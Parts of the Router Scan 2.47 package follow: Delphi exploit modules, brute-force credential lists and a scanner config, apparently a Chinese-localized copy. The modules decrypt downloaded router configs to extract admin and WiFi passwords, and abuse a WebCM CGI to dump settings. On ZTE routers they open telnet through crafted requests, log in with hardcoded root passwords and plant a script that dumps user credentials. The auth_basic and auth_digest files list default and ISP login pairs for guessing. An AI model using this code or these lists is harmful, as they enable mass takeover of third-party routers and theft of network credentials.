      Pasw := DeleteBetween(A, 'wlan_PskSecret ', LF);

    if (Sec = 'WPA Enterprise')

    or (Sec = 'WPA2 Enterprise')

    or (Sec = 'WPA/WPA2 Enterprise')

    then begin

      Pasw := 'Radius server: ' +

      DeleteBetween(A, 'wlan_Radius ', LF)+

      ':' +

      DeleteBetween(A, 'wlan_RadiusPort ', LF)+

      ', password: ' +

      DeleteBetween(A, 'wlan_RadiusSecret ', LF);

    end;

  end;

  procedure ParseConfig3;

  begin

    SSID := DeleteBetween(A, 'wlan_mbssid_str 1 ', LF);



    Tmp := DeleteBetween(A, 'wlan_security_en 1 ', LF);

    if Tmp = '0' then begin

      Sec := 'None';

      Pasw := '<empty>';

    end;

    if Tmp = '1' then

      Tmp := DeleteBetween(A, 'wlan_Auth 1 ', LF);



    if Tmp = '1' then

      Sec := 'WEP';

    if Tmp = '2' then

      Sec := 'EAP';

    if Tmp = '3' then

      Sec := 'PSK';

    if Sec = 'WEP' then begin

      Tmp := DeleteBetween(A, 'wlan_priv_defkey ', LF);

      if Tmp = '1' then

        Pasw := DeleteBetween(A, 'wlan_key_val 1 ', LF);

      if Tmp = '2' then

        Pasw := DeleteBetween(A, 'wlan_key_val 2 ', LF);

      if Tmp = '3' then

        Pasw := DeleteBetween(A, 'wlan_key_val 3 ', LF);

      if Tmp = '4' then

        Pasw := DeleteBetween(A, 'wlan_key_val 4 ', LF);

      Tmp := PtrHex(Cardinal(@Pasw[1]), Length(Pasw));

      WEPHexToAnsi(Tmp);

      if Tmp <> Pasw then

        Pasw := Tmp;

      Tmp := DeleteBetween(A, 'wlan_secSubType1 1 ', LF);

      Sec := WEPBits(Pasw, Tmp = '2');

    end;

    if Sec = 'EAP' then begin

      Tmp := DeleteBetween(A, 'wlan_secSubType2 1 ', LF);

      if Tmp = '1' then

        Sec := 'WPA Enterprise';

      if Tmp = '2' then

        Sec := 'WPA2 Enterprise';

      if Tmp = '3' then

        Sec := 'WPA/WPA2 Enterprise';

    end;

    if Sec = 'PSK' then begin

      Tmp := DeleteBetween(A, 'wlan_secSubType3 1 ', LF);

      if Tmp = '1' then

        Sec := 'WPA';

      if Tmp = '2' then

        Sec := 'WPA2';

      if Tmp = '3' then

        Sec := 'WPA/WPA2';

    end;

    if (Sec = 'WPA')

    or (Sec = 'WPA2')

    or (Sec = 'WPA/WPA2')

    then

      Pasw := DeleteBetween(A, 'wlan_PskSecret 1 ', LF);

    if (Sec = 'WPA Enterprise')

    or (Sec = 'WPA2 Enterprise')

    or (Sec = 'WPA/WPA2 Enterprise')

    then begin

      Pasw := 'Radius server: ' +

      DeleteBetween(A, 'wlan_Radius 1 ', LF)+

      ':' +

      DeleteBetween(A, 'wlan_RadiusPort 1 ', LF)+

      ', password: ' +

      DeleteBetween(A, 'wlan_RadiusSecret 1 ', LF);

    end;

  end;

begin

  Result := False;

  MS := TMemoryStream.Create;

  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/userRpm/config.bin',

  MS, Code, 2, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin

    if Code <> 200 then begin

      MS.Free;

      Exit;

    end;

    MS.Seek(0, soFromBeginning);

    D := TDCP_des.Create;

    D.InitKey(Key, SizeOf(Key)*8);

    MSO := TMemoryStream.Create;

    while (MS.Position < MS.Size)

    and (MS.Size - MS.Position >= 8)

    do begin

      MS.ReadBuffer(B1, 8);

      D.DecryptECB(B1, B2);

      MSO.WriteBuffer(B2, 8);

    end;

    D.Free;

    StreamToAnsi(MSO, A);

    MSO.Free;

    if Pos(#13#10, A)>0 then

      LF := #13#10

    else

      LF := #10;

    if Pos('lan_ip ', A)>0 then begin

      Result := True;

      if not UseAuth then begin

        AuthUser := DeleteBetween(A, 'lgn_usr ', LF);

        AuthPass := DeleteBetween(A, 'lgn_pwd ', LF);

      end;



      LAN := DeleteBetween(A, 'lan_ip ', LF);

      SetTableCell(stcLANIP, LAN);

      LAN := DeleteBetween(A, 'lan_msk ', LF);

      SetTableCell(stcLANMask, LAN);



      if DeleteBetween(A, 'wlan_en ', LF) = '0' then

        SetTableCell(stcRadioOff, stcCheckX);

      if DeleteBetween(A, 'wlan_ssid_brd ', LF) = '0' then

        SetTableCell(stcHidden, stcCheckX);



      if (Pos('wlan_secu_en ', A)>0)

      then

        ParseConfig1;

      if (Pos('wlan_security_en ', A)>0)

      and (Pos('wlan_security_en 1 ', A)=0)

      then

        ParseConfig2;

      if (Pos('wlan_security_en ', A)>0)

      and (Pos('wlan_security_en 1 ', A)>0)

      then

        ParseConfig3;



      SetTableCell(stcSSID, SSID);

      SetTableCell(stcSec, Sec);

      SetTableCell(stcKey, Pasw);

    end;

  end;

  MS.Free;

end;









RouterScan2.47/src/Exploit_WebCM.pas

// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



// References:

// http://xakep.ru/53057/

// http://www.kapple.de/?p=75



function TScanThr.Exploit_WebCM(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

  MS, MS2, MSO: TMemoryStream;

  GotHeader: Boolean;

  A: AnsiString;



  procedure ProcessSettings;

  var

    Version, Tmp2: String;

  begin

    Version := DeleteBetween(A, 'version="', '"');

    TrimString(Version);



    if (Pos('AirTies', A)>0)

    or (Pos('airties', A)>0) then

      Firmware := 'AirTies';

    if (Pos('Buffalo', A)>0)

    or (Pos('buffalo', A)>0) then

      Firmware := 'Buffalo';

    if (Pos('Conceptronic', A)>0)

    or (Pos('conceptronic', A)>0) then

      Firmware := 'Conceptronic';

    if (Pos('DLink', A)>0)

    or (Pos('dlink', A)>0) then

      Firmware := 'D-Link';



    Tmp := DeleteBetween(DeleteBetween(A, '<system>', '</system>'), '<sysname>', '</sysname>');

    TrimString(Tmp);

    if Firmware <> '' then begin

      if Tmp <> '' then

        Typ := Firmware + ' ' + Tmp

      else

        if UseAuth and (Hardware <> '') then

          Typ := Firmware + ' ' + Hardware;

      if Version <> '' then

        Typ := 'WebCM Firmware ('+Typ+' | ' + Version + ')'

      else

        Typ := 'WebCM Firmware ('+Typ+')';

    end else begin

      if Tmp <> '' then

        Typ := 'WebCM Firmware (' + Tmp

      else

        if UseAuth and (Hardware <> '') then

          Typ := 'WebCM Firmware (' + Hardware;

      if Version <> '' then

        Typ := Typ + ' | ' + Version + ')'

      else

        Typ := Typ + ')';

    end;

    SetTableCell(stcType, Typ);



    if Pos('<security>', A)>0 then begin

      Tmp := DeleteBetween(A, '<security>', '</security>');

      AuthUser := DeleteBetween(Tmp, '<username>', '</username>');

      AuthPass := DeleteBetween(Tmp, '<password>', '</password>');

      Result := True;

    end;



    LAN := DeleteBetween(DeleteBetween(A, '<selector><id>lan0</id>', '</selector>'), '<ip>', '</ip>');

    SetTableCell(stcLANIP, LAN);

    LAN := DeleteBetween(DeleteBetween(A, '<selector><id>lan0</id>', '</selector>'), '<netmask>', '</netmask>');

    SetTableCell(stcLANMask, LAN);

    if Pos('<id>ap</id>', A)>0 then begin

      Tmp := DeleteBetween(DeleteBetween(A, '<id>ap</id>', ''), '<settings>', '</settings>');

      if Pos('<ssid0>', Tmp)>0 then

        Tmp := DeleteBetween(Tmp, '<ssid0>', '</ssid0>');



      if (DeleteBetween(A, '<ap_enabled>', '</ap_enabled>') = '0')

      or (DeleteBetween(Tmp, '<active>', '</active>') = '0') then

        SetTableCell(stcRadioOff, stcCheckX);

      if DeleteBetween(Tmp, '<ssid_type>', '</ssid_type>') = '0' then

        SetTableCell(stcHidden, stcCheckX);



      SSID := DeleteBetween(Tmp, '<ssid>', '</ssid>');

      SetTableCell(stcSSID, SSID);



      Tmp2 := DeleteBetween(Tmp, '<privacy_type>', '</privacy_type>');

      if Tmp2 = '0' then begin

        Sec := 'None';

        Pasw := '<empty>';

      end;

      if (Tmp2 = '1')

      or (Tmp2 = '3') then

        Sec := 'WPA';

      if Tmp2 = '2' then

        Sec := 'WEP';

      if Tmp2 = '4' then

        Sec := '802.1X';

      if Tmp2 = '8' then

        Sec := 'WPA2';

      if Tmp2 = '9' then

        Sec := 'WPA/WPA2';

      if (Sec = 'WPA')

      or (Sec = 'WPA2')

      or (Sec = 'WPA/WPA2')

      then

        if DeleteBetween(Tmp, '<psktype>', '</psktype>') = '0' then

          Sec := Sec + ' Enterprise';

      if Sec = '802.1X' then

        if DeleteBetween(Tmp, '<wep_privacy>', '</wep_privacy>') = '1' then

          Sec := Sec + '/WEP';

      if Pos('WEP', Sec)>0 then

        if DeleteBetween(Tmp, '<wep_auth_type>', '</wep_auth_type>') = '1' then

          Sec := Sec + ' Shared';

      if (Sec = 'WEP')

      or (Sec = 'WEP Shared')

      then begin

        Tmp2 := DeleteBetween(Tmp, '<key_id>', '</key_id>');

        if Tmp2 = '0' then

          Pasw := DeleteBetween(Tmp, '<key_value1>', '</key_value1>');

        if Tmp2 = '1' then

          Pasw := DeleteBetween(Tmp, '<key_value2>', '</key_value2>');

        if Tmp2 = '2' then

          Pasw := DeleteBetween(Tmp, '<key_value3>', '</key_value3>');

        if Tmp2 = '3' then

          Pasw := DeleteBetween(Tmp, '<key_value4>', '</key_value4>');

        WEPHexToAnsi(Pasw);

        if Sec = 'WEP' then

          Sec := WEPBits(Pasw)

        else

          Sec := WEPBits(Pasw, True);

      end;

      if (Sec = 'WPA')

      or (Sec = 'WPA2')

      or (Sec = 'WPA/WPA2')

      then

        Pasw := DeleteBetween(Tmp, '<pskvalue>', '</pskvalue>');

      if (Sec = 'WPA Enterprise')

      or (Sec = 'WPA2 Enterprise')

      or (Sec = 'WPA/WPA2 Enterprise')

      or (Pos('802.1X', Sec)=1)

      then

        Pasw := 'Radius server: ' +

        DeleteBetween(Tmp, '<radius_ip>', '</radius_ip>')+

        ':' +

        DeleteBetween(Tmp, '<radius_port>', '</radius_port>')+

        ', password: ' +

        DeleteBetween(Tmp, '<radius_secret>', '</radius_secret>');

      SetTableCell(stcSec, Sec);

      SetTableCell(stcKey, Pasw);

    end else begin

      SetTableNoWireless;

      ReadonlyBSSID := True;

    end;

  end;

begin

  // Affected:

  //

  Result := False;

  GotHeader := False;

  MS := TMemoryStream.Create;

  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/cgi-bin/webcm?getpage=/dev/ticfg',

  MS, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin

    StreamToAnsi(MS, A);

    if Pos('LMMC', A)>0 then begin

      GotHeader := True;

      MS.Seek(0, soFromBeginning);

      MS.SetSize(Length(A) - (Pos('LMMC', A) + $14 - 1));

      Move(A[Pos('LMMC', A) + $14], MS.Memory^, MS.Size);

      MSO := TMemoryStream.Create;

      if Deflate(MS, MSO) then begin

        SetLength(A, MSO.Size);

        Move(MSO.Memory^, A[1], Length(A));

        ProcessSettings;

      end;

      MSO.Free;

    end;

  end;

  MS.Free;

  if not GotHeader then begin

    MS := TMemoryStream.Create;

    A := '------Boundary'#13#10+

    'Content-Disposition: form-data; name="config"'#13#10#13#10#13#10+

    '------Boundary--'#13#10;

    AnsiToStream(A, MS);

    MS2 := TMemoryStream.Create;

    if PostHTTPStreamEx('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/cgi-bin/firmwarecfg',

    MS, 'multipart/form-data; boundary=----Boundary', MS2, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin

      StreamToAnsi(MS2, A);

      if Pos('LMMC', A)>0 then begin

        //GotHeader := True;

        MS.Seek(0, soFromBeginning);

        MS.SetSize(Length(A) - (Pos('LMMC', A) + $14 - 1));

        Move(A[Pos('LMMC', A) + $14], MS.Memory^, MS.Size);

        MSO := TMemoryStream.Create;

        if Deflate(MS, MSO) then begin

          SetLength(A, MSO.Size);

          Move(MSO.Memory^, A[1], Length(A));

          ProcessSettings;

        end;

        MSO.Free;

      end;

    end;

    MS2.Free;

    MS.Free;

  end;

end;









RouterScan2.47/src/Exploit_ZTETelnetRoot.pas

// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



// References:

// http://habrahabr.ru/post/188454/



function TScanThr.Exploit_ZTETelnetRoot(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  C: TClientSocket;

  A, Req, Buf: AnsiString;

  Len: Integer;

  StrOut: AnsiString;

  AdvMode: Boolean;

  procedure OpenTelnetPort;

  var

    Code: Integer;

    SList: TStringList;

  begin

    SList := TStringList.Create;

    SList.Add('IF_ERRORSTR=SUCC');

    SList.Add('IF_ERRORPARAM=SUCC');

    SList.Add('ViewName=NULL');

    SList.Add('Enable=1');

    SList.Add('INCViewName=IGD.WANIF');

    SList.Add('INCName=WAN');

    SList.Add('MinSrcIp=0.0.0.0');

    SList.Add('MinSrcMask=NULL');

    SList.Add('MaxSrcIp=0.0.0.0');

    SList.Add('FilterTarget=1');

    SList.Add('Servise=73');

    SList.Add('IF_ACTION=new');

    SList.Add('IF_INDEX=-1');

    SList.Add('IF_INSTNUM=0');

    PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/sec_sc_t.gch',

    SList, S, Code, 8, 0, ServerName, False, '', '');

    SList.Free;

  end;

  procedure OpenTelnetPortAdv;

  var

    Code: Integer;

    SList: TStringList;

  begin

    SList := TStringList.Create;

    SList.Add('ViewName=NULL');

    SList.Add('WANCViewName=IGD.WD1.WCD1.WCIP1');

    SList.Add('WANCName=NULL');

    SList.Add('Enable=1');

    SList.Add('Protocol=0');

    SList.Add('Name=Telnet');

    SList.Add('MinExtPort=1023');

    SList.Add('MaxExtPort=1023');

    SList.Add('InternalHost=192.168.1.1');

    SList.Add('MinIntPort=23');

    SList.Add('MaxIntPort=23');

    SList.Add('Description=NULL');

    SList.Add('LeaseDuration=NULL');

    SList.Add('PortMappCreator=NULL');

    SList.Add('MinRemoteHost=0.0.0.0');

    SList.Add('MaxRemoteHost=0.0.0.0');

    SList.Add('InternalMacHost=NULL');

    SList.Add('MacEnable=0');

    SList.Add('IF_ACTION=new');

    SList.Add('IF_ERRORSTR=SUCC');

    SList.Add('IF_ERRORPARAM=SUCC');

    SList.Add('IF_ERRORTYPE=-1');

    SList.Add('IF_INDEX=-1');

    SList.Add('IF_INSTNUM=1');

    SList.Add('ViewName0=IGD.WD1.WCD1.WCIP1.FWPM1');

    SList.Add('WANCViewName0=IGD.WD1.WCD1.WCIP1');

    SList.Add('WANCName0=omci_ipv4_dhcp_1');

    SList.Add('Enable0=1');

    SList.Add('Protocol0=0');

    SList.Add('Name0=Web');

    SList.Add('MinExtPort0=1080');

    SList.Add('MaxExtPort0=1080');

    SList.Add('InternalHost0=192.168.1.1');

    SList.Add('MinIntPort0=80');

    SList.Add('MaxIntPort0=80');

    SList.Add('Description0=');

    SList.Add('LeaseDuration0=0');

    SList.Add('PortMappCreator0=');

    SList.Add('MinRemoteHost0=0.0.0.0');

    SList.Add('MaxRemoteHost0=0.0.0.0');

    SList.Add('InternalMacHost0=00:00:00:00:00:00');

    SList.Add('MacEnable0=0');

    SList.Add('WANCName0=');

    PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/app_virtual_conf_t.gch',

    SList, S, Code, 8, 0, ServerName, False, '', '');

    SList.Free;

  end;

  procedure GetAdminPassword;

  var

    Code: Integer;

  begin

    if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/test_gch.gch',

    S, Code, 8, 0, ServerName, False, '', '') then begin

      AuthUser := DeleteBetween(DeleteBetween(S, '<User ID="0" ', '/>'), 'Username="', '" ');

      AuthPass := DeleteBetween(DeleteBetween(S, '<User ID="0" ', '/>'), 'Password="', '" ');

      if (AuthUser <> '') or (AuthPass <> '') then

        Exploit_ZTETelnetRoot := True;

    end;

  end;

  function TelnetWaitString(SS: Array of AnsiString; TimeoutSec: Integer;

    var StrOut: AnsiString): Boolean;

  var

    I: Integer;

  begin

    Result := False;

    for I := 0 to Length(SS) - 1 do

      if Pos(SS[I], A) > 0 then begin

        Result := True;

        StrOut := SS[I];

        Exit;

      end;

    while TimeoutSec > 0 do begin

      Len := C.Socket.ReceiveLength;

      if Len > 0 then begin

        SetLength(Buf, Len);

        C.Socket.ReceiveBuf(Buf[1], Len);

        A := A + Buf;

        for I := 0 to Length(SS) - 1 do

          if Pos(SS[I], A) > 0 then begin

            Result := True;

            StrOut := SS[I];

            Exit;

          end;

      end;

      Sleep(1000);

      Dec(TimeoutSec);

    end;

  end;

  procedure ZTE_CLI;

  begin

    if not TelnetWaitString(['Username:'], 4, StrOut) then

      Exit;

    A := '';

    Req := 'root'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['Password:', '% Bad username!'], 4, StrOut) then

      Exit;

    if StrOut = '% Bad username!' then

      Exit;

    A := '';

    Req := 'public'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['CLI>', '% Bad password!'], 4, StrOut) then

      Exit;

    if StrOut = '% Bad password!' then begin

      A := '';

      Req := 'root'#13#10;

      C.Socket.SendBuf(Req[1], Length(Req));

      if not TelnetWaitString(['CLI>', '% Bad password!'], 4, StrOut) then

        Exit;

      if StrOut = '% Bad password!' then begin

        A := '';

        Req := 'Zte521'#13#10;

        C.Socket.SendBuf(Req[1], Length(Req));

        if not TelnetWaitString(['CLI>', '% Bad password!'], 4, StrOut) then

          Exit;

        if StrOut = '% Bad password!' then

          Exit;

      end;

    end;

    A := '';

    Req := 'enable'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['Password:'], 4, StrOut) then

      Exit;

    A := '';

    Req := 'zte'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['CLI#', '% Bad password!'], 4, StrOut) then

      Exit;

    if StrOut = '% Bad password!' then

      Exit;

    A := '';

    Req := 'sh'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['Login:'], 4, StrOut) then

      Exit;

    A := '';

    Req := 'root'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['Password:', 'User name is incorrect'], 4, StrOut) then

      Exit;

    if StrOut = 'User name is incorrect' then

      Exit;

    A := '';

    Req := 'root'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['BusyBox', 'Password is incorrect'], 4, StrOut) then

      Exit;

    if StrOut = 'Password is incorrect' then

      Exit;

    A := '';

    Req := 'mount -t tmpfs -o size=8k,mode=0777 tmpfs /home/httpd'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['#'], 10, StrOut) then

      Exit;

    A := '';

    Req := 'cd /home/httpd/'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['#'], 10, StrOut) then

      Exit;

    A := '';

    Req := 'echo \<% var FP_OBJNAME, FP_INSTNUM, FP_HANDLE, FP_IDENTITY\; '+

    'FP_OBJNAME = \"OBJ_USERINFO_ID\"\; FP_INSTNUM = query_list\(FP_OBJNAME, '+

    '\"IGD\"\)\; for\(var i = 0\; i \< FP_INSTNUM\; i++\) { '+

    'FP_HANDLE = create_paralist\(\)\; FP_IDENTITY = query_identity\(i\)\; '+

    'get_inst\(FP_HANDLE, FP_OBJNAME, FP_IDENTITY\)\; '+

    '=\"\<User ID\=\\\"\"+i+\"\\\"\"\; =\" Type=\\\"\"+'+

    'get_para\(FP_HANDLE,\"Type\"\)+\"\\\"\"\; =\" Enable=\\\"\"+'+

    'get_para\(FP_HANDLE,\"Enable\"\)+\"\\\"\"\; =\" Username=\\\"\"+'+

    'get_para\(FP_HANDLE,\"Username\"\)+\"\\\"\"\; =\" Password=\\\"\"+'+

    'get_para\(FP_HANDLE,\"Password\"\)+\"\\\"\"\; =\" Right=\\\"\"+'+

    'get_para\(FP_HANDLE,\"Right\"\)+\"\\\"\"\; =\"/\>\\n\"\; '+

    'destroy_paralist\(FP_HANDLE\)\; } %\> > test_gch.gch'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['#'], 10, StrOut) then

      Exit;

    GetAdminPassword;

    A := '';

    Req := 'cd /'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['#'], 10, StrOut) then

      Exit;

    A := '';

    Req := 'umount /home/httpd'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['#'], 10, StrOut) then

      Exit;

    A := '';

    Req := 'exit'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

  end;

  procedure ZTE_F660;

  begin

    A := '';

    Req := 'root'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['Password:', 'User name is incorrect'], 4, StrOut) then

      Exit;

    if StrOut = 'User name is incorrect' then

      Exit;

    A := '';

    Req := 'root'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['BusyBox', 'Password is incorrect'], 4, StrOut) then

      Exit;

    if StrOut = 'Password is incorrect' then begin

      A := '';

      Req := 'Zte521'#13#10;

      C.Socket.SendBuf(Req[1], Length(Req));

      if not TelnetWaitString(['BusyBox', 'Password is incorrect'], 4, StrOut) then

        Exit;

      if StrOut = 'Password is incorrect' then

        Exit;

    end;

    A := '';

    Req := 'mount -t tmpfs -o size=8k,mode=0777 tmpfs /home/httpd'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['#'], 10, StrOut) then

      Exit;

    A := '';

    Req := 'cd /home/httpd/'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['#'], 10, StrOut) then

      Exit;

    A := '';

    Req := 'echo \<% var FP_OBJNAME, FP_INSTNUM, FP_HANDLE, FP_IDENTITY\; '+

    'FP_OBJNAME = \"OBJ_USERINFO_ID\"\; FP_INSTNUM = query_list\(FP_OBJNAME, '+

    '\"IGD\"\)\; for\(var i = 0\; i \< FP_INSTNUM\; i++\) { '+

    'FP_HANDLE = create_paralist\(\)\; FP_IDENTITY = query_identity\(i\)\; '+

    'get_inst\(FP_HANDLE, FP_OBJNAME, FP_IDENTITY\)\; '+

    '=\"\<User ID\=\\\"\"+i+\"\\\"\"\; =\" Type=\\\"\"+'+

    'get_para\(FP_HANDLE,\"Type\"\)+\"\\\"\"\; =\" Enable=\\\"\"+'+

    'get_para\(FP_HANDLE,\"Enable\"\)+\"\\\"\"\; =\" Username=\\\"\"+'+

    'get_para\(FP_HANDLE,\"Username\"\)+\"\\\"\"\; =\" Password=\\\"\"+'+

    'get_para\(FP_HANDLE,\"Password\"\)+\"\\\"\"\; =\" Right=\\\"\"+'+

    'get_para\(FP_HANDLE,\"Right\"\)+\"\\\"\"\; =\"/\>\\n\"\; '+

    'destroy_paralist\(FP_HANDLE\)\; } %\> > test_gch.gch'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['#'], 10, StrOut) then

      Exit;

    GetAdminPassword;

    A := '';

    Req := 'cd /'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['#'], 10, StrOut) then

      Exit;

    A := '';

    Req := 'umount /home/httpd'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

    if not TelnetWaitString(['#'], 10, StrOut) then

      Exit;

    A := '';

    Req := 'exit'#13#10;

    C.Socket.SendBuf(Req[1], Length(Req));

  end;

begin

  // Affected:

  // ZTE F660

  // ZTE ZXV10 H108L

  // ZTE ZXV10 W300

  Result := False;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  if Pos('ZTE corp', ServerName) = 0 then

    Exit;

  OpenTelnetPort;

  Sleep(500);

  C := TClientSocket.Create(nil);

  C.Address := IPToStr(IP);

  C.Port := 23;

  C.ClientType := ctBlocking;

  AdvMode := False;



  try

    C.Open;

  except

    AdvMode := True;

  end;

  if AdvMode then begin

    OpenTelnetPortAdv;

    Sleep(500);

    C.Port := 1023;

    try

      C.Open;

    except

      C.Free;

      Exit;

    end;

  end;

  A := '';

  if TelnetWaitString([

  'The connect number is limited',

  'Welcome to the world of CLI !',

  'Login: '

  ], 5, StrOut) then begin

    if StrOut = 'Welcome to the world of CLI !' then

      ZTE_CLI;

    if StrOut = 'Login: ' then

      ZTE_F660;

    if C.Active then

      C.Close;

    C.Free;

    Exit;

  end;

end;
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RouterScan2.47汉化版/auth_basic.txt

# Login/password pair file (Basic Authentication)

# pairs splitted by <tab>'s [0x09]

...other strings are just ignored



# ASCII/ANSI only, no unicode!



# P.S. avoid duplicated pairs, Router Scan doesn't check for it



// default pairs

admin	<empty>

admin	admin

admin	1234

admin	password

Admin	Admin

<empty>	admin

admin  88888888

root	<empty>

root	admin

root	root

<empty>	root

<empty>	<empty>

support	<empty>

support	support



// ISP specific

admin	onlime

admin	mts

mts	mts

//华为HG8245无线路由猫

telecomadmin	admintelecom

telecomadmin    nE7jA%5m

mgts	mtsoao

kyivstar	kyivstar

telekom	telekom



// more pairs added by Stas'M

admin	1

admin	123

admin	0000

admin	00000000

admin	12345

admin	123456

admin	1234567

admin	12345678

admin	123456789

admin	1234567890

admin	qwerty

admin	beeline

admin	beeline2013

admin	iyeh

admin	ghbdtn

admin	inet

admin	internet

admin	asus

admin	root

admin	ADMIN

admin	adsl

admin	adslroot

admin	adsladmin

admin	Kendalf9

admin	263297

admin	590152

admin	21232

admin	adn8pzszk

admin	amvqnekk

admin	biyshs9eq

admin	e2b81d_1

admin	Dkdk8e89

admin	flvbyctnb

admin	qweasdOP

admin	EbS2P8

admin	ZmqVfo

admin	ZmqVfo1

admin	ZmqVfo2

admin	ZmqVfo3

admin	ZmqVfo4

admin	ZmqVfoVPN

admin	ZmqVfoSIP

admin	9f4r5r79//

admin	airocon

admin	zyxel

adsl	realtek

osteam	5up

root	toor

ZXDSL	ZXDSL

<empty>	support

// Cisco pairs

<empty>	Cisco

Cisco	Cisco

<empty>	cisco

cisco	cisco

admin	default

admin	cisco

admin	changeme

<empty>	c

<empty>	cc

<empty>	Cisco router

<empty>	letmein

<empty>	_Cisco

enable	cisco

pnadmin	pnadmin

root	attack

root	Cisco

admin   1qaz2wsx

// user access

user	<empty>

user	user

<empty>	user



//Netipia R7100路由器

netopia netopia

//艾玛701H

admin    epicrouter

SZIM     SZIM

//实达2110EH ROUTER

user  password

root  grouter 

//神州数码/华硕

adsl  adsl1234

//普天

admin dare

//zyxel

anonymous 1234

anonymous 12345

admin  qxcomm1680

admin  qxcommsupport

admin  qxcomm1688

supervisor 12345

admin  conexant

root grouter

broadmax  broadmax

admin utstar

admin adminHome

admin daree-tek

admin 12345zyxel

adsl adsl831

putian 123456

user benq1234

admin utstar0

root utstar0













































RouterScan2.47汉化版/auth_digest.txt

# Login/password pair file (Digest Authentication)

# pairs splitted by <tab>'s [0x09]

...other strings are just ignored



# ASCII/ANSI only, no unicode!



# P.S. avoid duplicated pairs, Router Scan doesn't check for it

# P.P.S. a pair with <empty> login is not supported for digest authentication



// default pairs

admin	<empty>

admin	admin

admin	1234

admin	password

Admin	Admin

root	<empty>

root	admin

root	root

support	<empty>

support	support

super	super

super	APR@xuniL



// ISP specific

admin	onlime

admin	mts

mts	mts

telecomadmin	admintelecom

mgts	mtsoao

kyivstar	kyivstar

telekom	telekom



// more pairs added by Stas'M

admin	1

admin	123

admin	0000

admin	00000000

admin	12345

admin	123456

admin	1234567

admin	12345678

admin	123456789

admin	1234567890

admin	qwerty

admin	beeline

admin	beeline2013

admin	iyeh

admin	ghbdtn

admin	inet

admin	internet

admin	asus

admin	root

admin	ADMIN

admin	adsl

admin	adslroot

admin	adsladmin

admin	Kendalf9

admin	263297

admin	590152

admin	21232

admin	adn8pzszk

admin	amvqnekk

admin	biyshs9eq

admin	e2b81d_1

admin	Dkdk8e89

admin	flvbyctnb

admin	qweasdOP

admin	EbS2P8

admin	FhF8WS

admin	ZmqVfo

admin	ZmqVfo1

admin	ZmqVfo2

admin	ZmqVfo3

admin	ZmqVfo4

admin	ZmqVfoVPN

admin	ZmqVfoSIP

admin	ZmqVfoN1

admin	9f4r5r79//

admin	airocon

admin	zyxel

adsl	realtek

osteam	5up

root	toor

ZXDSL	ZXDSL



// Cisco pairs

Cisco	Cisco

cisco	cisco

admin	default

admin	cisco

admin	changeme

enable	cisco

pnadmin	pnadmin

root	attack

root	Cisco



// user access

user	<empty>

user	user









RouterScan2.47汉化版/config.ini

[PortScan]

ScanMode=0

Threads=300

Timeout.Connect.Value=2000

Timeout.Thread.Value=120000

Timeout.Thread.Unlimit=0

Ranges=ranges.txt

Ports=ports.txt

StopAction=0

SilentMode=0



[Output]

AutoSave=0

SaveTab=0

Interval=0

Format=xml



[HTTP]

Proxy.Enable=0

Proxy.IP=127.0.0.1

Proxy.Port=8888

UserAgent=Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1



[Modules]

RouterScan=0

ProxyCheck=0

HNAP=0

SQLite=0

Hudson=0



[RouterScan]

Detection.CustomPage.Enable=0

Detection.CustomPage.Path=/admin/

Auth.Basic.DualCheck=0

Auth.Basic.PairFile=auth_basic.txt

Auth.Digest.PairFile=auth_digest.txt

Auth.Custom.Enable=0

Auth.Custom.Username=admin

Auth.Custom.Password=qwerty



[GUI]

Tab.DblClick=0

Tab.Realtime.Follow=1

Tab.Good.Follow=1

Tab.Good.Wireless=0

Tab.Good.TurnOff=0

Search.Text=

Search.Case=0

Search.All=0

Browser.AutoAuth=1

Browser.UseCustom=0

Browser.Exec=

ColWidth.IP=96

ColWidth.Port=36

ColWidth.Time=50

ColWidth.Status=124

ColWidth.Auth=106

ColWidth.Type=296

ColWidth.RadioOff=52

ColWidth.Hidden=40

ColWidth.BSSID=102

